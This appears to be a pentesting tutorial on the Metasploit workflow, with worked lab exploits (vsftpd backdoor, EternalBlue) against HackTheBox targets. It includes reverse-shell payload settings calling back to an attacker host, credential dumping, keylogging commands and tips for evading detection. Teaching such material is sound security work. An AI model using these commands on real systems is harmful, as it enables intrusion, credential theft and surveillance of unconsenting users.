Skip to content

Latest commit

 

History

History
910 lines (694 loc) · 27.3 KB

File metadata and controls

910 lines (694 loc) · 27.3 KB

Metasploit — The Full Workflow

You have a target. You have a CVE. You know it is exploitable. Now you need something that takes all of that and turns it into a shell. Metasploit is that something. Not a magic button — a framework. There is a difference, and understanding it is what separates people who can use Metasploit from people who are lost the moment it does not work exactly as expected. This guide is structured for all levels, if you are new please utilize Google for anything you don't know or understand. If you are experienced, and have these tools and know the commands feel free to skip ahead.

🔰 Beginners: Metasploit can feel overwhelming at first. This section starts from installation and builds up to a complete workflow. Every term gets defined before it is used. Work through it in order.

Seasoned practitioners: The database setup, session management, and real worked examples toward the bottom are worth reviewing. Jump to Core Workflow to skip the basics.


📋 Contents


🧠 What Metasploit Actually Is

Plain English first.

Imagine you are a locksmith. You have a bag of tools — picks, tension wrenches, bump keys. Each tool is designed for a specific type of lock. You do not carry one universal key that opens everything. You carry a collection of specialized tools and you choose the right one for the lock in front of you.

Metasploit is that bag of tools — except for computer systems.

It is a framework that contains thousands of pre-built exploit modules, each targeting a specific vulnerability in a specific piece of software. It handles the technical heavy lifting — the networking, the payload delivery, the session management — so you can focus on the targeting and decision making.

What it contains:

Component Plain English What It Does
Exploits The attack Code that takes advantage of a specific vulnerability
Payloads What you do once inside Code that runs on the target after exploitation succeeds
Auxiliary modules Recon tools Scanners, fuzzers, information gathering — no exploitation
Post modules What you do after Actions to take once you have a shell
Encoders Disguise kit Tools to make payloads harder to detect
Evasion modules Bypass tools Tools to get past security controls

What Metasploit is NOT:

It is not a point-and-click tool that automatically finds and exploits vulnerabilities. You still need to know what you are targeting and why. It automates the execution — not the thinking.


🔧 Installation

Kali Linux — Already There

Metasploit comes pre-installed on Kali Linux. No setup needed beyond initializing the database.

# Check it is there
msfconsole --version

# Initialize the database (do this once, first time only)
msfdb init

# Start Metasploit
msfconsole

# Start without the banner (faster startup)
msfconsole -q

Update Metasploit on Kali:

sudo apt update && sudo apt install metasploit-framework

Ubuntu / Debian Linux

# Download the installer script
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

# Make it executable
chmod 755 msfinstall

# Run the installer
./msfinstall

# Initialize the database
msfdb init

# Start
msfconsole

macOS

Option 1 — Homebrew (recommended):

# Install Homebrew first if you do not have it
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# Install Metasploit
brew install metasploit

# Initialize database
msfdb init

# Start
msfconsole

Option 2 — Installer package: Download the macOS .pkg installer from: https://github.com/rapid7/metasploit-framework/releases

Run the installer, then:

msfdb init
msfconsole

macOS note: Metasploit on macOS works well for learning and CTF. For professional engagements most practitioners use Kali Linux in a VM.


Windows

Plain English: Windows can run Metasploit but it is the least common setup among professionals. Most security practitioners run Kali Linux — either as their main OS, in a virtual machine, or through WSL2 (Windows Subsystem for Linux) on Windows. If you are on Windows, WSL2 with Kali is strongly recommended over the native Windows install.

Option 1 — Native Windows installer:

  1. Go to: https://github.com/rapid7/metasploit-framework/releases
  2. Download the file named metasploit-latest.msi
  3. Run the installer — it includes Ruby and all required dependencies
  4. After installation, launch from the Start Menu

Or launch from command prompt:

cd C:\metasploit-framework\bin
msfconsole.bat

Initialize the database after install:

msfdb.bat init
msfconsole.bat

Known Windows limitations:

  • Some modules do not work correctly on native Windows
  • Database setup can be more complex
  • Performance is generally slower than Linux
  • Some payloads behave differently

Option 2 — WSL2 with Kali (strongly recommended):

WSL2 is a feature built into Windows 10 and 11 that lets you run a full Linux environment inside Windows. Think of it as Linux living inside your Windows machine — no dual boot, no VM software needed.

# Run this in PowerShell as Administrator
wsl --install -d kali-linux

# Restart your computer when prompted
# Then open Kali from the Start Menu and set up your username/password

Once inside Kali via WSL2:

# Update package list
sudo apt update

# Install Metasploit
sudo apt install metasploit-framework

# Initialize the database
msfdb init

# Start
msfconsole

💡 WSL2 gives you a real Kali Linux environment on Windows with full Metasploit compatibility. It is the best of both worlds for Windows users who need to run security tools.


🏗️ The Metasploit Architecture

Plain English:

Think of Metasploit like a well-organized toolbox with labeled drawers. Each drawer (module type) holds a different category of tools. You need to know which drawer to open before you can grab the right tool.

modules/
├── exploits/        ← the attacks themselves
│   ├── linux/       ← attacks targeting Linux systems
│   ├── windows/     ← attacks targeting Windows systems
│   ├── multi/       ← attacks that work on multiple platforms
│   └── unix/        ← attacks targeting Unix systems
│
├── payloads/        ← what happens AFTER the attack succeeds
│   ├── singles/     ← self-contained — everything in one package
│   ├── stagers/     ← connects back first, then downloads the rest
│   └── stages/      ← the rest that gets downloaded
│
├── auxiliary/       ← tools that are NOT exploitation
│   ├── scanner/     ← scanning and discovery
│   ├── fuzzer/      ← testing for vulnerabilities
│   └── gather/      ← information collection
│
├── post/            ← what you do AFTER you have a shell
│   ├── linux/
│   ├── windows/
│   └── multi/
│
└── encoders/        ← making payloads harder to detect

Module naming — how to read it:

exploit / linux / ftp / vsftpd_234_backdoor
│         │       │     │
│         │       │     └── the specific vulnerability
│         │       └──────── the affected service
│         └──────────────── the target operating system
└────────────────────────── the type of module

🗺️ The Core Workflow

Every Metasploit session follows the same sequence. Learn this order and it becomes muscle memory.

Step 1 → Start msfconsole
Step 2 → Search for the right module
Step 3 → Select the module (use)
Step 4 → See what information it needs (show options)
Step 5 → Provide that information (set)
Step 6 → Run it (run or exploit)
Step 7 → Work with what you get (shell or meterpreter session)

🔍 Searching for Modules

The search command is your index. Use it to find the right module before you use it.

# Search by CVE number
search CVE-2021-44228
search cve:2017-0144

# Search by software name
search vsftpd
search eternalblue
search log4shell
search apache

# Search by type
search type:exploit
search type:auxiliary
search type:post

# Search by platform
search platform:linux type:exploit
search platform:windows type:exploit

# Search by reliability rank
search rank:excellent

# Combine multiple filters
search type:exploit platform:windows rank:excellent smb

Module Reliability Ranks

Plain English: Not all exploits are created equal. The rank tells you how reliable and safe the module is to use.

Rank What It Means Should You Use It?
Excellent Reliable, no side effects Yes — start here
Great Reliable, auto-detects best target Yes
Good Reliable, minor side effects possible Yes, with awareness
Normal Average reliability Sometimes
Average May not work consistently With caution
Low Low chance of success Rarely
Manual Requires significant manual work Only if you know what you are doing

Always prefer Excellent or Great ranked modules. Lower ranked modules can crash services, corrupt data, or simply not work — and on a real engagement, crashing a service is a very bad day.


⚙️ Configuring and Running a Module

# Select a module
use exploit/unix/ftp/vsftpd_234_backdoor

# See what information it needs
show options

# The output shows:
# Name      Current Setting  Required  Description
# ----      ---------------  --------  -----------
# RHOSTS                     yes       The target host(s)
# RPORT     21               yes       The target port

# Set the target IP (RHOSTS = Remote HOSTS = the target)
set RHOSTS 10.10.10.3

# Set your IP (LHOST = Local HOST = your machine)
set LHOST 10.10.14.5

# Set your listening port (LPORT = Local PORT)
set LPORT 4444

# Set a specific payload
set payload cmd/unix/interact

# Double check everything is correct
show options

# Run it
run
# or
exploit

What RHOSTS, LHOST, LPORT mean — plain English:

Option Stands For Plain English
RHOSTS Remote Hosts The target — the machine you are attacking
RPORT Remote Port The port on the target you are connecting to
LHOST Local Host Your machine — where the shell comes back to
LPORT Local Port The port on your machine that listens for the connection

Targeting multiple hosts:

# A range of IPs
set RHOSTS 10.10.10.1-10

# An entire subnet
set RHOSTS 192.168.1.0/24

# From a file
set RHOSTS file:/path/to/targets.txt

Global options — set once, apply everywhere:

# Set LHOST globally so you do not have to set it in every module
setg LHOST 10.10.14.5

# View current global settings
show global

# Clear a global setting
unsetg LHOST

Check before you exploit:

# Some modules support a check command
# This verifies the target IS vulnerable before actually exploiting
check

# Not all modules support this — use it when available
# It is the difference between confirming your target and guessing

💣 Payloads — The Other Half

Plain English:

The exploit is how you get through the door. The payload is what you do the moment you are inside.

Think of it like this: breaking into a building is the exploit. What you do once you are in — whether you install a camera, grab files, or prop the door open for later — that is the payload.

Payload Types Explained

Singles — the self-contained option:

Everything is in one package.
The exploit runs, the payload runs, you get a connection.
No second step. More reliable. Larger size.

Example: linux/x86/shell_reverse_tcp
→ Connects straight back to you with a shell
→ Works even if the connection is briefly interrupted

Stagers + Stages — the two-part option:

Step 1 (Stager): Small code runs on target, connects back to you
Step 2 (Stage):  Full payload is downloaded through that connection

Example: linux/x86/meterpreter/reverse_tcp
                               ↑
                    The / means stager/stage split

→ Smaller initial footprint
→ Full Meterpreter loaded after connection established
→ Can fail if connection drops between steps

Choosing a Payload

# See all payloads compatible with your current module
show payloads

# Common payloads to know:

# Linux — basic reverse shell
set payload linux/x86/shell_reverse_tcp

# Linux — Meterpreter (advanced)
set payload linux/x86/meterpreter/reverse_tcp

# Windows — basic reverse shell
set payload windows/shell_reverse_tcp

# Windows — Meterpreter (advanced)
set payload windows/meterpreter/reverse_tcp

# Windows 64-bit — Meterpreter
set payload windows/x64/meterpreter/reverse_tcp

# Generic — works across platforms
set payload cmd/unix/reverse_bash

Reverse Shell vs Bind Shell

Plain English:

Reverse shell → the TARGET reaches out and connects TO YOU
               → used when the target has a firewall blocking inbound
               → most common in CTF and real engagements
               → you listen, target connects

Bind shell    → YOU reach out and connect TO THE TARGET
               → used when you are behind NAT or a firewall
               → less common but useful in specific scenarios
               → target listens, you connect
# Reverse shell payload (target calls you)
set payload windows/meterpreter/reverse_tcp
set LHOST your-ip
set LPORT 4444

# Bind shell payload (you call target)
set payload windows/meterpreter/bind_tcp
set RHOST target-ip
set RPORT 4444

🔮 Meterpreter — The Gold Standard Shell

Plain English:

A basic shell is like getting a phone call — you can talk back and forth but that is it. Meterpreter is like getting full remote control of someone's computer — you can browse files, take screenshots, record keystrokes, upload and download files, and move through the network, all through an encrypted connection that leaves minimal traces.

It runs entirely in memory — nothing is written to disk — which makes it harder to detect and leaves less forensic evidence.

Why Meterpreter Over a Basic Shell

Feature Basic Shell Meterpreter
Communication Plain text Encrypted
Written to disk Yes No — memory only
File transfer Manual (nc, wget) upload / download commands
Screenshot Not possible screenshot command
Keylogging Not possible keyscan_start / keyscan_dump
Privilege escalation Manual getsystem (automated attempt)
Network pivoting Complex route add built in
Stability Drops on timeout More stable connection

Core Meterpreter Commands

# ── System Information ──────────────────────────────────
sysinfo              # OS, hostname, architecture
getuid               # what user are you running as
getpid               # what process ID is Meterpreter running in

# ── Navigation ──────────────────────────────────────────
pwd                  # where are you on the target
ls                   # list files and folders
cd /tmp              # move to a different directory

# ── File Operations ─────────────────────────────────────
# Upload a file FROM your machine TO the target
upload /local/path/file.sh /tmp/file.sh

# Download a file FROM the target TO your machine
download /etc/passwd /tmp/passwd_loot

# ── Shell Access ────────────────────────────────────────
shell                # drop into a system shell
Ctrl+Z               # background the shell, return to Meterpreter
exit                 # exit the system shell back to Meterpreter

# ── Privilege Escalation ────────────────────────────────
getsystem            # attempt automated privilege escalation
getuid               # check if it worked — should show SYSTEM or root

# ── Credential Dumping ──────────────────────────────────
hashdump             # dump Windows password hashes
run post/linux/gather/hashdump   # Linux password hashes

# ── Screenshots and Surveillance ───────────────────────
screenshot           # take a screenshot of the target desktop
keyscan_start        # start recording keystrokes
keyscan_dump         # dump recorded keystrokes
keyscan_stop         # stop recording

# ── Session Management ──────────────────────────────────
background           # send this session to the background
Ctrl+Z               # same as background

# ── Pivoting ────────────────────────────────────────────
# Add a route through this session to reach internal networks
run post/multi/manage/shell_to_meterpreter
route add 192.168.1.0/24 [session_id]

Upgrading a Basic Shell to Meterpreter

Plain English: Sometimes an exploit gives you a basic shell when you wanted Meterpreter. You can upgrade without losing access.

# Step 1 — background your current basic shell session
background

# Step 2 — use the upgrade module
use post/multi/manage/shell_to_meterpreter

# Step 3 — tell it which session to upgrade
set SESSION 1

# Step 4 — run it
run

# Step 5 — interact with the new Meterpreter session
sessions -i 2

📊 Sessions — Managing Multiple Targets

Plain English: A session is an active connection to a compromised machine. Metasploit can manage multiple sessions simultaneously — useful when you have compromised more than one machine and need to move between them.

# List all active sessions
sessions
sessions -l

# Interact with session number 1
sessions -i 1

# Background current session (go back to msfconsole)
background
# or press Ctrl+Z

# Kill a specific session
sessions -k 1

# Kill every session
sessions -K

# Run a command across ALL sessions simultaneously
sessions -c "whoami"

# Upgrade all basic shell sessions to Meterpreter at once
sessions -u -1

🗄️ The Database — Why You Should Use It

Plain English: The Metasploit database is a notepad that remembers everything — every host you scanned, every port that was open, every credential you captured, every note you made. Without it, everything disappears when you close msfconsole. With it, your entire engagement is documented and searchable.

Most people ignore the database. On a single CTF box that is fine. On anything more complex — multiple targets, a real engagement — it is essential.

# Initialize the database (once, first time)
msfdb init

# Check the database is connected
db_status

# Import nmap results directly into the database
# This means you do not have to manually enter hosts
db_nmap -sV -sC 10.10.10.0/24

# View all discovered hosts
hosts
hosts -c address,os_name,purpose    # show specific columns only

# View all discovered services
services
services -p 80                      # filter by port
services -p 445                     # show only SMB

# View all captured credentials
creds

# Add a note to a specific host
notes -a -h 10.10.10.3 -t "vsftpd backdoor" -d "shell obtained on port 6200"

# Workspaces — separate different engagements
workspace                           # list workspaces
workspace -a htb_lame               # create a new workspace
workspace htb_lame                  # switch to it
workspace -d htb_lame               # delete it

💥 Real Worked Examples

Example 1 — vsftpd 2.3.4 Backdoor (HTB: Lame)

What is happening plain English: vsftpd 2.3.4 had a backdoor deliberately inserted into its source code in 2011 by an unknown attacker who briefly compromised the project's distribution server. The backdoor triggers when you send a username containing a smiley face :) — it opens a shell on port 6200. Metasploit automates this trigger and catches the resulting shell.

# Start Metasploit
msfconsole -q

# Search for the module
search vsftpd

# Select the exploit module
use exploit/unix/ftp/vsftpd_234_backdoor

# See what it needs
show options

# Set the target
set RHOSTS 10.10.10.3

# Run it
run

Expected output:

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened

Practice target: HackTheBox — Lame


Example 2 — EternalBlue MS17-010 (HTB: Legacy, Blue)

What is happening plain English: MS17-010 is a critical vulnerability in Windows SMB (the file sharing protocol). It allows an attacker to send specially crafted packets to a Windows machine and execute code without any authentication — meaning no username, no password, nothing. Just the target IP.

EternalBlue was originally developed by the NSA as a cyberweapon. It was stolen and leaked publicly in 2017. The WannaCry ransomware attack that infected hundreds of thousands of computers globally used this exact exploit to spread.

msfconsole -q

# Search
search eternalblue

# Select the exploit
use exploit/windows/smb/ms17_010_eternalblue

# Set options
set RHOSTS 10.10.10.40
set LHOST 10.10.14.5

# The default payload is already set to Meterpreter
# Confirm with show options

# Run
run

Expected output:

[*] Started reverse TCP handler on 10.10.14.5:4444
[*] Sending stage (200774 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Practice targets: HackTheBox — Legacy, Blue


Example 3 — Auxiliary Scanner (Checking Before Exploiting)

What is happening plain English: Before you run an exploit, it is good practice to confirm the target is actually vulnerable. Auxiliary scanner modules do exactly that — they check for vulnerability without actually exploiting it. Like testing if a door is unlocked before deciding how to open it.

msfconsole -q

# Use the scanner version — not the exploit
use auxiliary/scanner/smb/smb_ms17_010

# Set the target range
set RHOSTS 192.168.1.0/24

# Use multiple threads to speed it up
set THREADS 10

# Run the scan
run

# Output will show which hosts ARE vulnerable
# Then you can use the actual exploit against confirmed targets only

🚨 When Metasploit Gets You Caught

Plain English: Metasploit leaves fingerprints. On a monitored network, running Metasploit with default settings is like showing up in a bright orange jacket. Security systems know what Metasploit traffic looks like because they have been trained on it for decades.

What defenders and security tools see:

Default port 4444
→ Metasploit's default listener port is 4444
→ Any security tool watching for 4444 will flag it immediately
→ Fix: change LPORT to something less obvious like 443 or 8443

Meterpreter traffic patterns
→ Even when encrypted, Meterpreter has recognizable patterns
→ Modern endpoint security detects Meterpreter running in memory
→ Fix: use staged payloads over common ports, consider custom payloads

Default HTTP user agent strings
→ Metasploit web modules use identifiable browser strings
→ Security tools look for these exact strings
→ Fix: change the user agent to something realistic

Loud scanning behavior
→ Auxiliary scanners generate significant network traffic
→ Fix: reduce threads, slow the scan, use T2 timing or lower

Making Metasploit less obvious:

# Change the default listener port
set LPORT 443

# Use HTTPS payload — encrypted and on a commonly allowed port
set payload windows/meterpreter/reverse_https

# Change the user agent for web-based modules
set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# Enable payload encoding to obfuscate the payload
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai

# Check what evasion options are available for your current module
show evasion

Full AV and EDR evasion is covered in depth in Evasion.


📝 OSCP and Exam Restrictions

Plain English: The OSCP certification exam has specific rules about Metasploit that catch people off guard if they have not read them carefully. The exam is designed to test manual skills — Metasploit makes things too easy, so it is restricted.

✅ Metasploit allowed on ONE exam machine of your choice
✅ Auxiliary modules — scanners — allowed freely on all machines
✅ msfvenom for payload generation — allowed
❌ Exploit modules restricted to one target only
❌ Cannot use Metasploit on multiple exam targets
❌ No automated exploitation chains
❌ No autopwn or mass exploitation

The implication is clear: You need to know how to do everything Metasploit does — manually. Every technique in this file has a manual equivalent. The Manual Exploitation section covers exactly that.


⚔️ CTF vs Real World

CTF Real Engagement
Metasploit use Freely Check rules of engagement first
Default ports Fine Always change LPORT
Meterpreter Yes Depends on EDR environment
Stealth Not required Essential
Database Optional Use it — document everything
Session management Usually one box Multiple targets, critical
Cleanup Not required Remove all artifacts
Documentation Optional Mandatory — every step logged

🔗 Related References

Resource What It Covers
Other Automated Tools SQLmap, Nuclei, BEEF, Empire
Manual Exploitation When Metasploit is not an option
Shells What to do once you have a session
Vuln Research Finding the right module
Evasion Staying undetected

by SudoChef · Part of the SudoCode Pentesting Methodology Guide